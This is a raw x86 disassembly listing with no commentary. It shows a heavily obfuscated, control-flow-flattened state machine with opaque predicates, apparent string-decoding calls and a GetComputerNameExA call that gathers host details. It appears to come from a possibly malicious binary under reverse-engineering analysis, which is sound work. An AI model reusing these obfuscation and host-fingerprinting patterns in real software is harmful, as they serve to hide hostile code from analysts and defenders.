mov dword [esi + 0x7c], eax
mov dword [esi], 0x826ee42d
jmp 0x435c9f
cmp eax, 0xb3955f7a
jle 0x438401
cmp eax, 0xb3955f7b
je 0x439996
cmp eax, 0xb3ca34d2
je 0x4399a4
cmp eax, 0xb48e79f6
jne 0x435c9f
mov eax, dword [esi + 0x94]
mov byte [eax + 0xa], 0
mov dword [esi], 0x15fa78a4
jmp 0x435c9f
cmp eax, 0x2e3110c4
jle 0x43842e
cmp eax, 0x2e3110c5
je 0x4399c1
cmp eax, 0x2e8e5f5e
je 0x4399de
cmp eax, 0x2e8f3ae5
jne 0x435c9f
push dword [esi + 0x10]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x1e0], eax
mov dword [esi], 0xa63b2d64
jmp 0x435c9f
cmp eax, 0xf18aa5e6
jle 0x438472
cmp eax, 0xf18aa5e7
je 0x4399ec
cmp eax, 0xf33e381b
je 0x439a0f
cmp eax, 0xf44ecfb2
jne 0x435c9f
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x160], eax
mov dword [esi], 0x7c4f8091
jmp 0x435c9f
cmp eax, 0x323e634f
jg 0x438493
cmp eax, 0x2f07c3be
je 0x439a35
cmp eax, 0x301d9481
jne 0x43a603
mov eax, dword [esi + 8]
shr eax, 0xe
imul ecx, eax, 0x1b04
imul eax, eax
imul edx, eax, 0x56f3
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xd6d9a043
cmp edx, eax
je 0x437494
mov ecx, 0x188fec6
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x826ee42c
jg 0x4384e4
cmp eax, 0x80002f72
je 0x439a65
cmp eax, 0x81e12f62
jne 0x435c9f
mov eax, dword [esi + 8]
mov ecx, 0xffffff6b
add eax, ecx
mov ecx, eax
shr ecx, 0xe
shr eax, 0xf
imul ecx, ecx
imul edx, ecx, 0x5141
dec edx
mov dword [esi + 8], eax
mov eax, 0x6f32ba4
cmp edx, ecx
je 0x4374e9
mov eax, 0xa7949b7e
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xf4663ab1
je 0x439a70
cmp eax, 0xf4d683d7
jne 0x435c9f
imul edi, dword [esi + 4], 0x68000
or edi, 0x4b
mov dword [esi + 4], edi
push edi
push 0x54e1
push 0x5780
call fcn.00426156
add esp, 0xc
push 0x5576
push 0x9b9
push edi
call fcn.00426156
add esp, 0xc
mov eax, 0xb48e79f6
cmp edi, 0xe1
jge 0x43754b
mov eax, 0xd05b7f21
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xb5399fba
je 0x439a9c
cmp eax, 0xb66cf8ed
jne 0x435c9f
push dword [esi + 0x4c]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xc5819afb
jmp 0x435c9f
cmp eax, 0x4f3bd559
je 0x439aef
cmp eax, 0x4fabe3a2
jne 0x435c9f
mov edi, dword [esi + 4]
shl edi, 6
add edi, 0xffffc940
shr edi, 4
add edi, 0xb4
mov dword [esi + 4], edi
push 0x5e2d
push 0x51a8
push edi
push 0xee6
call fcn.0043a770
add esp, 0x10
push edi
call fcn.00435c88
add esp, 4
mov dword [esi], 0x9487decb
jmp 0x435c9f
cmp eax, 0x9c2fd435
je 0x439b20
cmp eax, 0x9c9ae2ee
jne 0x435c9f
mov dword [esi], 0xfd4792a
jmp 0x435c9f
cmp eax, 0x10f35983
je 0x439b6c
cmp eax, 0x114320ae
jne 0x435c9f
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x184]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x54]
push eax
sub esp, 8
mov edi, esp
mov byte [edi + 8], 0
mov eax, dword [0x4715eb]
mov dword [edi + 4], eax
mov eax, dword [0x4715e7]
mov dword [edi], eax
mov eax, 8
push eax
push 0x4715ef
push eax
push edi
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x54]
mov cl, byte [edi + 8]
mov byte [eax + 8], cl
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
push dword [esi + 0x54]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xa1a452a5
jmp 0x435c9f
cmp eax, 0xd562ff25
je 0x439bad
cmp eax, 0xd5c46b10
jne 0x435c9f
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
push dword [esi + 0x14]
push dword [esi + 0x38]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x3c]
mov dword [esi], 0x154e76aa
jmp 0x435c9f
cmp eax, 0x3df9b996
je 0x439bc7
cmp eax, 0x3e76fd7f
jne 0x435c9f
mov eax, dword [esi + 4]
shl eax, 0xd
add eax, 0xffffff53
shr eax, 0xb
imul eax, eax, 0x1ba4
jmp 0x4399f8
cmp eax, 0x8c9a7c36
je 0x439bf7
cmp eax, 0x8da7a2e7
jne 0x435c9f
mov dword [esi], 0x323e6350
jmp 0x435c9f
cmp eax, 0x455283a
je 0x439c21
cmp eax, 0x4a38f21
jne 0x435c9f
imul edi, dword [esi + 4], 0x4e
mov eax, edi
shr eax, 6
add eax, 0xd
shr eax, 7
mov dword [esi + 4], eax
push 0x1c27
push 0x3d08
push eax
push 0x142f
call fcn.0043a620
add esp, 0x10
call fcn.00407731
mov eax, 0xd2823ab7
cmp edi, 0x1c7cc0
jae 0x437760
mov eax, 0xd5e1a957
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xc506f8ea
je 0x439cb2
cmp eax, 0xc5819afb
jne 0x435c9f
mov eax, dword [esi + 8]
shr eax, 1
and eax, 0x3fffff
add eax, 0xdc
imul ecx, eax, 0xa8bd
imul eax, eax
imul edx, eax, 0x1b07
dec edx
shr ecx, 0xe
mov dword [esi + 8], ecx
mov ecx, 0xb48e79f6
cmp eax, edx
je 0x4377b0
mov ecx, 0xe680363f
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x673f437d
je 0x439ce6
cmp eax, 0x674fda92
jne 0x435c9f
mov eax, dword [esi + 0x5c]
mov dword [esi], 0x753381f7
jmp 0x435c9f
cmp eax, 0xa7949b7e
je 0x439cfe
cmp eax, 0xa8ac93ea
jne 0x435c9f
mov eax, dword [esi + 8]
lea ecx, [eax - 0xd3]
imul ecx, ecx
imul edx, ecx, 0x5771
dec edx
add eax, 0xffffffb7
mov dword [esi + 8], eax
mov eax, 0x7a18dbdd
cmp ecx, edx
je 0x437818
mov eax, 0x56e558fd
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x1b9c2852
je 0x439d37
cmp eax, 0x1cdc5410
jne 0x435c9f
mov eax, dword [esi + 4]
shr eax, 0xc
and eax, 0xfffffffe
imul edi, eax, 0x3b4c
mov dword [esi + 4], edi
push 0x3713
push edi
push 0x2d3e
push 0x623d
call fcn.0043a770
add esp, 0x10
mov eax, 0x2cecd9f4
cmp edi, 0xe3
jae 0x437871
mov eax, 0xb66cf8ed
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xe2fec062
je 0x439d68
cmp eax, 0xe38d4443
jne 0x435c9f
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x40], eax
mov dword [esi], 0x630b484b
jmp 0x435c9f
cmp eax, 0x35ce95f3
je 0x439d81
cmp eax, 0x366a8f86
jne 0x435c9f
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x7a]
imul eax, eax
imul edx, eax, 0x29af
imul ecx, ecx, 0x87
dec edx
add ecx, 0x51bc
mov dword [esi + 8], ecx
mov ecx, 0x157b8e02
cmp eax, edx
je 0x4378fb
mov ecx, 0xec44c6ee
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x850da2bb
je 0x439deb
cmp eax, 0x86c08b96
jne 0x435c9f
mov edi, dword [esi + 4]
mov eax, 0xfffffd1d
add edi, eax
mov dword [esi + 4], edi
push edi
push 0xf15
push 0x5da5
push 0x4401
call fcn.0043a620
add esp, 0x10
mov eax, 0xab637620
cmp edi, 0x4e
je 0x43794c
mov eax, 0xb1a57c9a
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xfc921bf5
je 0x439e05
cmp eax, 0xfe9cbc93
jne 0x435c9f
mov eax, dword [esi + 4]
shl eax, 0x10
add eax, 0xffff0a00
shr eax, 4
mov dword [esi + 4], eax
mov dword [esi], 0x8eaab81d
jmp 0x435c9f
cmp eax, 0xbd121001
je 0x439e2b
cmp eax, 0xbd4ff6ac
jne 0x435c9f
mov dword [esi], 0xd05b7f21
jmp 0x435c9f
cmp eax, 0x5966d6ac
je 0x439e4e
cmp eax, 0x59e1d201
jne 0x435c9f
mov eax, dword [esi + 4]
shr eax, 0xc
and eax, 0xff000
mov dword [esi + 4], eax
mov dword [esi], 0x9a40de10
jmp 0x435c9f
cmp eax, 0xa098f6f1
je 0x439e83
cmp eax, 0xa141c1ec
jne 0x435c9f
shl dword [esi + 8], 4
mov dword [esi], 0x64f6c2e5
jmp 0x435c9f
cmp eax, 0x15a09b8c
je 0x439e91
cmp eax, 0x15d2c650
jne 0x435c9f
mov eax, dword [esi + 8]
add eax, 0x26
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x180d
dec edx
shl eax, 0x17
mov dword [esi + 8], eax
mov eax, 0x444b1400
cmp ecx, edx
je 0x437a36
mov eax, 0xc7f149d1
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xd9df720d
je 0x439e9c
cmp eax, 0xdcc6f548
jne 0x435c9f
mov ecx, dword [esi + 4]
shl ecx, 6
add ecx, 0x3840
mov dword [esi + 4], ecx
mov eax, 0x98fbf505
cmp ecx, 0x6f
jge 0x437a71
mov eax, 0xb92cdf6
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x444b1400
je 0x439ed1
cmp eax, 0x44c10536
jne 0x435c9f
push 5
push 0x467b78
push 0xc
push dword [esi + 0x8c]
call fcn.0043a620
add esp, 0x10
push dword [esi + 0x8c]
push 0x23fef64a
call fcn.0043e3a0
add esp, 8
mov dword [esi + 0x158], eax
mov dword [esi], 0x5616715c
jmp 0x435c9f
cmp eax, 0x94fbdada
je 0x439f33
cmp eax, 0x959ee4ba
jne 0x435c9f
push 1
push 0x8000
call fcn.0044e933
add esp, 8
mov dword [esi + 0x104], eax
mov dword [esi], 0x427e6b9c
jmp 0x435c9f
cmp eax, 0xb7f4f9c
je 0x439f52
cmp eax, 0xb92cdf6
jne 0x435c9f
mov eax, dword [esi + 0xa8]
mov byte [eax + 0xe], 0
mov eax, dword [esi + 0xa8]
movzx ecx, word [0x4715de]
mov word [eax + 0xc], cx
mov ecx, dword [0x4715da]
mov dword [eax + 8], ecx
mov ecx, dword [0x4715d6]
mov dword [eax + 4], ecx
mov ecx, dword [0x4715d2]
mov dword [eax], ecx
push 7
push 0x4715e0
push 0xe
push dword [esi + 0xa8]
call fcn.0043a770
add esp, 0x10
mov dword [esi], 0x301d9481
jmp 0x435c9f
cmp eax, 0xcf0ed0fc
je 0x439f67
cmp eax, 0xcf303784
jne 0x435c9f
mov eax, dword [esi + 4]
shr eax, 0xc
imul edi, eax, 0xf4
mov dword [esi + 4], edi
push 0x61ab
push edi
push 0x26ec
push 0x491b
call fcn.0043a620
add esp, 0x10
mov eax, 0xbde0d5d0
cmp edi, 0x70
jae 0x437bb8
mov eax, 0x5c26d242
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x73087033
je 0x439f8e
cmp eax, 0x74b82696
jne 0x435c9f
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1bc], eax
mov dword [esi], 0x1af124cf
jmp 0x435c9f
cmp eax, 0xad5b1702
je 0x439fb9
cmp eax, 0xaff9186a
jne 0x435c9f
push 0x18
push 0x467b60
push dword [esi + 0x8c]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0x472e3cc0
jmp 0x435c9f
cmp eax, 0x2a06db1b
je 0x439fd3
cmp eax, 0x2b60bfed
jne 0x435c9f
mov eax, dword [esi + 8]
lea eax, [eax*4 + 0x334]
shr eax, 5
and eax, 0x7ffff
mov dword [esi + 8], eax
mov dword [esi], 0xba6311c4
jmp 0x435c9f
cmp eax, 0xeb103755
je 0x439ffc
cmp eax, 0xeb1fd2bb
jne 0x435c9f
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*2]
add ecx, 0x5f9
mov eax, ecx
imul eax, ecx
shr ecx, 6
and ecx, 0x1ffffff
imul edx, eax, 0xfd
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xe5444044
cmp edx, eax
je 0x437cb5
mov ecx, 0x9ddfb641
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x3325a9b7
je 0x43a01e
cmp eax, 0x3354f554
jne 0x435c9f
mov eax, dword [esi + 0xa4]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0xa4]
mov cl, byte [0x4715cb]
mov byte [eax + 0xc], cl
mov ecx, dword [0x4715c7]
mov dword [eax + 8], ecx
mov ecx, dword [0x4715c3]
mov dword [eax + 4], ecx
mov ecx, dword [0x4715bf]
mov dword [eax], ecx
push 6
push 0x4715cc
push 0xd
push dword [esi + 0xa4]
call fcn.0043a770
add esp, 0x10
mov dword [esi], 0x47ca0205
jmp 0x435c9f
cmp eax, 0x8390bd74
je 0x43a048
cmp eax, 0x83fc6d78
jne 0x435c9f
mov eax, dword [esi + 0x138]
mov byte [eax], 0
mov eax, dword [esi + 0x78]
mov cl, byte [0x471519]
mov byte [eax + 0xa], cl
movzx ecx, word [0x471517]
mov word [eax + 8], cx
mov ecx, dword [0x471513]
mov dword [eax + 4], ecx
mov ecx, dword [0x47150f]
mov dword [eax], ecx
push 4
push 0x47151a
push 0xb
push dword [esi + 0x78]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x78]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x13c], eax
mov dword [esi], 0x11f24231
jmp 0x435c9f
cmp eax, 0xf7f4c541
je 0x43a081
cmp eax, 0xf81480c8
jne 0x435c9f
mov eax, dword [esi + 4]
shl eax, 0x1c
lea edi, [eax + eax*4]
neg edi
mov dword [esi + 4], edi
push edi
push 0x3278
push 0x943
push 0x1c1
call fcn.0043a770
add esp, 0x10
push edi
call fcn.00435c88
add esp, 4
mov eax, 0xcf303784
cmp edi, 0xcc
jl 0x437e0e
mov eax, 0xb218a53a
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xba19f14a
je 0x43a0b2
cmp eax, 0xba621180
jne 0x435c9f
imul eax, dword [esi + 4], 0x108000
add eax, 0xb0000000
mov edi, 0x87c33b4e
and eax, 0xff000000
mov dword [esi + 4], eax
je 0x437e4b
mov edi, 0x55e9cc84
push 0x616c
push 0x6252
push 0x2281
push eax
call fcn.0043a620
add esp, 0x10
mov dword [esi], edi
jmp 0x435c9f
cmp eax, 0x55e9cc84
je 0x43a0ea
cmp eax, 0x5616715c
jne 0x435c9f
mov dword [esi], 0x86f9a22e
jmp 0x435c9f
cmp eax, 0x9dfccdd7
je 0x43a10c
cmp eax, 0x9f39c676
jne 0x435c9f
imul edi, dword [esi + 4], 0xd900
add edi, 0xa047
mov dword [esi + 4], edi
push 0xff3
push 0x5f52
push 0x1d83
push edi
call fcn.0043a620
add esp, 0x10
mov eax, 0xe38d4443
cmp edi, 0x6d
jl 0x437ed8
mov eax, 0x83fc6d78
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x1314e9f5
je 0x43a117
cmp eax, 0x1401a1cc
jne 0x435c9f
mov eax, dword [esi + 4]
shr eax, 5
imul edi, eax, 0x20d0000
mov dword [esi + 4], edi
call fcn.00407731
mov eax, 0x26f04997
test edi, edi
je 0x437f17
mov eax, 0x83fc6d78
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xd73ceb27
je 0x43a12e
cmp eax, 0xd7b4c8d6
jne 0x435c9f
mov dword [esi], 0xfc921bf5
jmp 0x435c9f
cmp eax, 0x4160e19b
je 0x43a148
cmp eax, 0x41e179c3
jne 0x435c9f
mov ecx, dword [esi + 8]
lea eax, [ecx + ecx*2]
shl eax, 3
sub eax, ecx
add eax, 0x1071
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6edd
dec edx
shl eax, 5
add eax, 0xffffffa4
mov dword [esi + 8], eax
mov eax, 0x7b829d7e
cmp edx, ecx
je 0x437f88
mov eax, 0x7a18dbdd
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x8efadeee
je 0x43a191
cmp eax, 0x90a7d722
jne 0x435c9f
push 0x55
push dword [esi + 0x10c]
push dword [esi + 0x110]
call fcn.00453476
add esp, 0xc
mov dword [esi], 0x674fda92
jmp 0x435c9f
cmp eax, 0x7d607d0
je 0x43a1bb
cmp eax, 0x7fe3d7a
jne 0x435c9f
mov eax, dword [esi + 4]
shl eax, 0x1c
add eax, 0xff810000
mov dword [esi + 4], eax
push eax
push 0x1915
push 0xe2a
push 0x521e
call fcn.0043a620
add esp, 0x10
mov dword [esi], 0x8410c221
jmp 0x435c9f
cmp eax, 0xc790f37e
je 0x43a1e7
cmp eax, 0xc7e3c84f
jne 0x435c9f
mov eax, dword [esi + 0x154]
lea ecx, [esi + 0x124]
push ecx
push dword [esi + 0x100]
call eax
mov eax, dword [esi + 0x24]
sub esp, 8
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
mov byte [eax + 6], 0
mov dword [esi], 0xbde0d5d0
jmp 0x435c9f
cmp eax, 0x6d1dd2ca
je 0x43a238
cmp eax, 0x6d5ca6a6
jne 0x435c9f
imul eax, dword [esi + 8], 0xe6
shr eax, 9
add eax, 0xffffff02
imul ecx, eax, 0xc2
imul eax, eax
imul edx, eax, 0x6593
add ecx, 0xfffffffa
dec edx
shr ecx, 3
mov dword [esi + 8], ecx
mov ecx, 0x114320ae
cmp eax, edx
je 0x4380a7
mov ecx, 0x90a7d722
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0xab04b21d
je 0x43a243
cmp eax, 0xab637620
jne 0x435c9f
mov edi, dword [esi + 4]
shr edi, 0xa
add edi, 0xffffff52
shr edi, 0xd
mov dword [esi + 4], edi
push 0x3c9e
push edi
push 0x6c8
push 0x2c8e
call fcn.0043a620
add esp, 0x10
mov eax, 0xd05b7f21
cmp edi, 0xe4
je 0x438100
mov eax, 0x719fe0ff
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x1fcf7e4a
je 0x43a263
cmp eax, 0x222ed80b
jne 0x435c9f
imul ecx, dword [esi + 4], 0x1c0
add ecx, 0x5c0
mov dword [esi + 4], ecx
mov eax, 0x92472d11
cmp ecx, 0xc8
jge 0x43813f
mov eax, 0x896a37df
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xe663ea5a
je 0x43a293
cmp eax, 0xe680363f
jne 0x435c9f
push dword [esi + 0x48]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xc5e14dae
jmp 0x435c9f
cmp eax, 0x3825f49b
je 0x43a2ad
cmp eax, 0x39083938
jne 0x435c9f
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x188], eax
mov dword [esi], 0x173755c
jmp 0x435c9f
cmp eax, 0x87c33b4e
je 0x43a2f3
cmp eax, 0x896a37df
jne 0x435c9f
mov eax, dword [esi + 4]
mov ecx, 0xffffff00
and eax, ecx
lea eax, [eax*8 + 0x4b]
imul eax, eax, 0x960
shr eax, 4
mov dword [esi + 4], eax
mov dword [esi], 0x83fc6d78
jmp 0x435c9f
cmp eax, 0x127c5d7
je 0x43a316
cmp eax, 0x173755c
jne 0x435c9f
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x188]
mov word [eax + ecx], 0xa
mov dword [esi], 0xedd65c39
jmp 0x435c9f
cmp eax, 0xc02aa3de
je 0x43a324
cmp eax, 0xc0cd4a34
jne 0x435c9f
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi], 0xbf762f50
jmp 0x435c9f
cmp eax, 0x5eb38df1
je 0x43a347
cmp eax, 0x630b484b
jne 0x435c9f
imul eax, dword [esi + 8], 0x97
shr eax, 6
imul eax, eax, 0x6aa00000
add eax, 0x51400000
mov dword [esi + 8], eax
mov dword [esi], 0x8410c221
jmp 0x435c9f
cmp eax, 0xa30b2c58
je 0x43a364
cmp eax, 0xa4597235
jne 0x435c9f
mov dword [esi], 0xc7289447
jmp 0x435c9f
cmp eax, 0x18d9f315
je 0x43a396
cmp eax, 0x19710da0
jne 0x435c9f
imul eax, dword [esi + 4], 0x1e2
shr eax, 0xc
imul ecx, eax, 0x5c0
add ecx, 0x32500
mov dword [esi + 4], ecx
mov eax, 0x9c2167db
cmp ecx, 0x12
jge 0x4382da
mov eax, 0xdcc6f548
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xe112a8d8
je 0x43a3c0
cmp eax, 0xe1cbe720
jne 0x435c9f
imul eax, dword [esi + 8], 0x17d9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0xc5b
dec edx
add eax, 0xffffff52
mov dword [esi + 8], eax
mov eax, 0xc790f37e
cmp edx, ecx
je 0x438320
mov eax, 0xd35847e5
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x47ca0205
je 0x43a3e5
cmp eax, 0x486cf2cd
jne 0x435c9f
mov dword [esi], 0xa01a6a88
jmp 0x435c9f
cmp eax, 0x996aa53e
je 0x43a424
cmp eax, 0x99c5c021
jne 0x435c9f
mov eax, dword [esi + 8]
shl eax, 0xd
and eax, 0xfc000000
mov dword [esi + 8], eax
mov dword [esi], 0x3354f554
jmp 0x435c9f
cmp eax, 0xe67f83a
je 0x43a46d
cmp eax, 0xe99d364
jne 0x435c9f
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x190]
mov dword [esi + 0x194], eax
mov dword [esi], 0xd02223be
jmp 0x435c9f
cmp eax, 0xd1dcb68d
je 0x43a4a8
cmp eax, 0xd2823ab7
jne 0x435c9f
push dword [esi + 0x110]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0x3b0a7754
jmp 0x435c9f
cmp eax, 0x7a18dbdd
je 0x43a4e4
cmp eax, 0x7b829d7e
jne 0x435c9f
push eax
push eax
mov eax, esp
mov dword [esi + 0x24], eax
mov dword [esi], 0xe2e8a630
jmp 0x435c9f
cmp eax, 0xb1a57c9a
je 0x43a509
cmp eax, 0xb218a53a
jne 0x435c9f
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x90], eax
mov dword [esi], 0x3d690808
jmp 0x435c9f
cmp eax, 0x2cecd9f4
je 0x43a52e
cmp eax, 0x2d0cd768
jne 0x435c9f
imul ecx, dword [esi + 4], 0x24e
add ecx, 0x24e0
mov eax, ecx
shr eax, 0x11
mov dword [esi + 4], eax
mov eax, 0x74b82696
cmp ecx, 0x1b80000
jae 0x43846b
mov eax, 0x84554dd1
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xede0b7b1
je 0x43a578
cmp eax, 0xf0558411
jne 0x435c9f
mov dword [esi], 0x6c7ffcc
jmp 0x435c9f
cmp eax, 0x323e6350
je 0x43a592
cmp eax, 0x3266c6ca
jne 0x435c9f
xor edi, edi
mov dword [esi + 4], edi
push edi
push 0x4af9
push 0x2a8
call fcn.00426156
add esp, 0xc
push 0x2d86
push 0x52f1
push 0x27f2
push edi
call fcn.0043a620
add esp, 0x10
mov dword [esi], 0xe2e8a630
jmp 0x435c9f
cmp eax, 0x826ee42d
je 0x43a5a9
cmp eax, 0x82fc375f
jne 0x435c9f
mov eax, dword [esi + 0x168]
mov byte [eax], 0
mov edi, 0x17
push edi
push 0x4715a0
push dword [esi + 0xa0]
call fcn.00443950
add esp, 0xc
push 8
push 0x4715b7
push edi
push dword [esi + 0xa0]
call fcn.0043a770
add esp, 0x10
push 0x18
push dword [esi + 0xa0]
push dword [esi + 0x4c]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0xb66cf8ed
jmp 0x435c9f
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb4], eax
mov dword [esi], 0x9c2fd435
jmp 0x435c9f
imul eax, dword [esi + 8], 0x954c0000
add eax, 0x87a81221
mov dword [esi + 8], eax
mov dword [esi], 0xce7ace38
jmp 0x435c9f
push dword [esi + 0x24]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0x100]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0x959ee4ba
jmp 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0xd
add edi, 0xffffff5d
mov dword [esi + 4], edi
push 0x1123
push 0x401e
push edi
push 0x328c
call fcn.0043a620
add esp, 0x10
mov eax, 0x26aae736
cmp edi, 0x6c
jl 0x4385f5
mov eax, 0xac4128e7
mov dword [esi], eax
jmp 0x435c9f
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x9c], eax
mov dword [esi], 0xe5545476
jmp 0x435c9f
mov eax, dword [esi + 8]
mov ecx, 0xff
add eax, ecx
shr eax, 0x1e
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0xb49
dec edx
shl eax, 0xf
add eax, 0xb0000
mov dword [esi + 8], eax
mov eax, 0x52f1c848
cmp ecx, edx
je 0x438645
mov eax, 0x8eaab81d
mov dword [esi], eax
jmp 0x435c9f
mov ecx, dword [esi + 4]
shr ecx, 0xc
add ecx, 0xffffffb2
mov eax, ecx
shr eax, 8
mov dword [esi + 4], eax
mov eax, 0x44c10536
cmp ecx, 0xaf00
jb 0x43866f
mov eax, 0xb6a34bc2
mov dword [esi], eax
jmp 0x435c9f
imul eax, dword [esi + 8], 0x4470000
add eax, 0xf4bc8000
mov dword [esi + 8], eax
mov dword [esi], 0x2e8e5f5e
jmp 0x435c9f
imul edi, dword [esi + 4], 0x8200
mov dword [esi + 4], edi
push 0x349c
push 0x32c
push edi
push 0x1091
call fcn.0043a770
add esp, 0x10
mov eax, 0xe99d364
test edi, edi
je 0x4386c0
mov eax, 0x2d0cd768
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
add ecx, eax
add ecx, 0xd9
mov eax, ecx
shr eax, 0xa
shr ecx, 0x11
imul eax, eax
imul edx, eax, 0x491
lea edi, [ecx + ecx*8]
dec edx
lea ecx, [ecx + edi*4]
add ecx, 0xfffff568
mov dword [esi + 8], ecx
mov ecx, 0xe38d4443
cmp edx, eax
je 0x438707
mov ecx, 0x375c1a1a
mov dword [esi], ecx
jmp 0x435c9f
mov eax, dword [esi + 0x58]
mov dword [esi], 0x94d41fcc
jmp 0x435c9f
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xac], eax
mov dword [esi], 0xa8ac93ea
jmp 0x435c9f
push 0x15
push dword [esi + 0xac]
push dword [esi + 0x58]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0x8792d193
jmp 0x435c9f
mov eax, dword [esi + 0x198]
mov word [eax], 0
push 0x18
push 0x467b90
push dword [esi + 0xb0]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0x2709ba19
jmp 0x435c9f
push dword [esi + 0xfc]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xc2428242
jmp 0x435c9f
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x70], eax
mov dword [esi], 0x164f71a1
jmp 0x435c9f
mov eax, dword [esi + 8]
add eax, eax
and eax, 0xfffffe00
imul eax, eax, 0x9c
add eax, 0xffffff76
shr eax, 1
imul eax, eax, 0xb23e
add eax, 0xffff6253
mov dword [esi + 8], eax
mov dword [esi], 0x455283a
jmp 0x435c9f
mov dword [esi + 0x124], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x84]
add eax, 0x18
mov dword [esi + 0x150], eax
mov dword [esi], 0xdea971bc
jmp 0x435c9f
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0xa098f6f1
jmp 0x435c9f
mov eax, dword [esi + 0x1b8]
mov ecx, dword [esi + 0x1c4]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1bc]
mov dword [eax + 0x18], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c0]
mov dword [eax + 0x1c], ecx
mov dword [esi], 0x4e4af96b
jmp 0x435c9f
mov eax, dword [esi + 4]
add eax, eax
and eax, 0x3ffff8
lea ecx, [eax + eax*4]
lea edi, [eax + ecx*4]
lea eax, [eax + ecx*4]
add eax, 0xfffff2e8
mov dword [esi + 4], eax
push 0x3fa8
push eax
push 0x5e4e
push 0x4f85
call fcn.0043a770
add esp, 0x10
mov eax, 0xe38d4443
cmp edi, 0xd49
jb 0x4388a1
mov eax, 0x9f39c676
mov dword [esi], eax
